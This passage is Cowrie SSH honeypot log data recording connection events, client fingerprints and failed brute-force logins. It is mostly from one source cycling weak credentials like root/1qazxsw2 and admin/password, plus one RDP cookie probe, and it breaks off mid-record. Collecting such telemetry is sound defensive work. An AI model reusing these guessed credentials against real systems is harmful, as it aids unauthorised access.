{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.155734Z","src_ip":"192.109.200.237","session":"fb55f1662aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.218310Z","src_ip":"109.172.54.111","session":"c0c2d1462826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.351815Z","src_ip":"192.109.200.237","session":"fb55f1662aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntktdbpjh","message":"login attempt [root/ntktdbpjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.656780Z","src_ip":"109.172.54.111","session":"c0c2d1462826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:09.707513Z","src_ip":"192.109.200.237","session":"fb55f1662aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:10.760417Z","src_ip":"109.172.54.111","session":"c0c2d1462826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:10.792849Z","src_ip":"192.109.200.237","session":"fb55f1662aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57896,"dst_ip":"159.203.135.109","dst_port":22,"session":"6693dad69614","protocol":"ssh","message":"New connection: 192.109.200.237:57896 (159.203.135.109:22) [session: 6693dad69614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:12.364626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:12.455578Z","src_ip":"192.109.200.237","session":"6693dad69614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:12.461989Z","src_ip":"192.109.200.237","session":"6693dad69614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:12.788337Z","src_ip":"192.109.200.237","session":"6693dad69614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50703,"dst_ip":"159.203.135.109","dst_port":22,"session":"8824c6f95a80","protocol":"ssh","message":"New connection: 167.172.81.52:50703 (159.203.135.109:22) [session: 8824c6f95a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:13.138975Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:13.143403Z","src_ip":"167.172.81.52","session":"8824c6f95a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:13.151621Z","src_ip":"167.172.81.52","session":"8824c6f95a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:13.872780Z","src_ip":"192.109.200.237","session":"6693dad69614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57902,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a7eb66a53f0","protocol":"ssh","message":"New connection: 192.109.200.237:57902 (159.203.135.109:22) [session: 4a7eb66a53f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:15.531872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:15.537402Z","src_ip":"192.109.200.237","session":"4a7eb66a53f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:15.621023Z","src_ip":"192.109.200.237","session":"4a7eb66a53f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:15.871974Z","src_ip":"192.109.200.237","session":"4a7eb66a53f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:16.959048Z","src_ip":"192.109.200.237","session":"4a7eb66a53f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"786b8eb9b973","protocol":"ssh","message":"New connection: 192.109.200.237:57906 (159.203.135.109:22) [session: 786b8eb9b973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:18.664608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:18.669144Z","src_ip":"192.109.200.237","session":"786b8eb9b973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:18.753292Z","src_ip":"192.109.200.237","session":"786b8eb9b973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:19.008732Z","src_ip":"192.109.200.237","session":"786b8eb9b973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:20.096589Z","src_ip":"192.109.200.237","session":"786b8eb9b973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56136,"dst_ip":"159.203.135.109","dst_port":22,"session":"469b7134d00f","protocol":"ssh","message":"New connection: 192.109.200.237:56136 (159.203.135.109:22) [session: 469b7134d00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:21.841102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:21.847950Z","src_ip":"192.109.200.237","session":"469b7134d00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:21.931316Z","src_ip":"192.109.200.237","session":"469b7134d00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:22.179329Z","src_ip":"192.109.200.237","session":"469b7134d00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:23.266179Z","src_ip":"192.109.200.237","session":"469b7134d00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56144,"dst_ip":"159.203.135.109","dst_port":22,"session":"8242a29eae9e","protocol":"ssh","message":"New connection: 192.109.200.237:56144 (159.203.135.109:22) [session: 8242a29eae9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:25.001592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:25.008523Z","src_ip":"192.109.200.237","session":"8242a29eae9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:25.096541Z","src_ip":"192.109.200.237","session":"8242a29eae9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:25.345607Z","src_ip":"192.109.200.237","session":"8242a29eae9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:26.432626Z","src_ip":"192.109.200.237","session":"8242a29eae9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56146,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf8e8ecf8e0","protocol":"ssh","message":"New connection: 192.109.200.237:56146 (159.203.135.109:22) [session: acf8e8ecf8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:28.111814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:28.117404Z","src_ip":"192.109.200.237","session":"acf8e8ecf8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:28.200555Z","src_ip":"192.109.200.237","session":"acf8e8ecf8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:28.450035Z","src_ip":"192.109.200.237","session":"acf8e8ecf8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:29.536890Z","src_ip":"192.109.200.237","session":"acf8e8ecf8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43372,"dst_ip":"159.203.135.109","dst_port":22,"session":"906e138acbce","protocol":"ssh","message":"New connection: 192.109.200.237:43372 (159.203.135.109:22) [session: 906e138acbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:31.200106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:11:31.205850Z","src_ip":"192.109.200.237","session":"906e138acbce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-